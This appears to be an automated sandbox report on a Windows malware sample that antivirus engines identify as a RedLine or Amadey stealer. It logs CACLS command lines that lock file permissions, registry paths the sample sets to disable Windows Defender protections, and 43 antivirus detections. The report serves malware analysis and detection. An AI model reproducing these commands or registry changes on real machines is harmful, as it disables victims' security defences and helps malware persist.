RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe Flash Player 13 NPAPI regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{9B84A461-3B4C-40E2-B44F-CE22E215EE40}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe Acrobat Reader DC MUI regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-FFFF-7B44-AC0F074E4100}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Visual C++ 2015 Redistributable (x64) - 14.0.24215 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{d992c12e-cab2-426f-bde3-fb8c53950b0d}\DisplayName	1

Uses suspicious command line tools or Windows utilities (6 events)

cmdline	CACLS "..\46aee2aca4" /P "test22:R" /E
cmdline	CACLS "..\46aee2aca4" /P "test22:N"
cmdline	CACLS "ghaaer.exe" /P "test22:N"
cmdline	CACLS "ghaaer.exe" /P "test22:R" /E
cmdline	"C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "ghaaer.exe" /P "test22:N"&&CACLS "ghaaer.exe" /P "test22:R" /E&&echo Y\|CACLS "..\46aee2aca4" /P "test22:N"&&CACLS "..\46aee2aca4" /P "test22:R" /E&&Exit
cmdline	cmd /k echo Y\|CACLS "ghaaer.exe" /P "test22:N"&&CACLS "ghaaer.exe" /P "test22:R" /E&&echo Y\|CACLS "..\46aee2aca4" /P "test22:N"&&CACLS "..\46aee2aca4" /P "test22:R" /E&&Exit

Disables Windows Security features (6 events)

description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection

File has been identified by 43 AntiVirus engines on VirusTotal as malicious (43 events)

FireEye	Generic.mg.60ac1de311d14829
CAT-QuickHeal	Trojan.MSIL
McAfee	PWS-FDON!7E93BACBBC33
Malwarebytes	Generic.Trojan.Injector.DDS
VIPRE	Trojan.GenericKD.65331035
K7AntiVirus	Trojan ( 700000121 )
K7GW	Trojan ( 700000121 )
Cybereason	malicious.311d14
Baidu	Multi.Threats.InArchive
Cyren	W32/KillAV.KMEF-6536
Symantec	ML.Attribute.HighConfidence
Elastic	malicious (high confidence)
ESET-NOD32	multiple detections
Cynet	Malicious (score: 99)
APEX	Malicious
ClamAV	Win.Downloader.Amadey-9986882-0
Kaspersky	VHO:Trojan.MSIL.Convagent.gen
NANO-Antivirus	Trojan.Win32.Disabler.junsud
SUPERAntiSpyware	Trojan.Agent/Gen-Downloader
Avast	Win32:TrojanX-gen [Trj]
Tencent	Trojan.MSIL.Agent.hg
F-Secure	Trojan.TR/Disabler.ocayi
DrWeb	Trojan.Siggen19.32857
TrendMicro	TROJ_GEN.R002C0PBK23
McAfee-GW-Edition	BehavesLike.Win32.Generic.dc
Trapmine	malicious.moderate.ml.score
SentinelOne	Static AI - Malicious SFX
Avira	TR/Disabler.ocayi
Antiy-AVL	Trojan[Spy]/MSIL.RedLine
Xcitium	ApplicUnwnt@#1ftfc2ja2g1dd
Microsoft	Trojan:Script/Phonzy.A!ml
ZoneAlarm	VHO:Trojan-Spy.Win32.Convagent.gen
GData	MSIL.Trojan-Stealer.Redline.G
Google	Detected
ALYac	Trojan.GenericKDZ.94427
Cylance	unsafe
TrendMicro-HouseCall	TROJ_GEN.R002C0PBK23
Rising	Stealer.Agent!1.DC63 (CLASSIC:5:HlAGNWrdXqP)
Yandex	Trojan.Disabler!G6z7qDxyklM
Ikarus	Trojan-Spy.RedLineStealer
Fortinet	PossibleThreat
AVG	Win32:TrojanX-gen [Trj]
CrowdStrike	win/malicious_confidence_70% (W)

narko.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All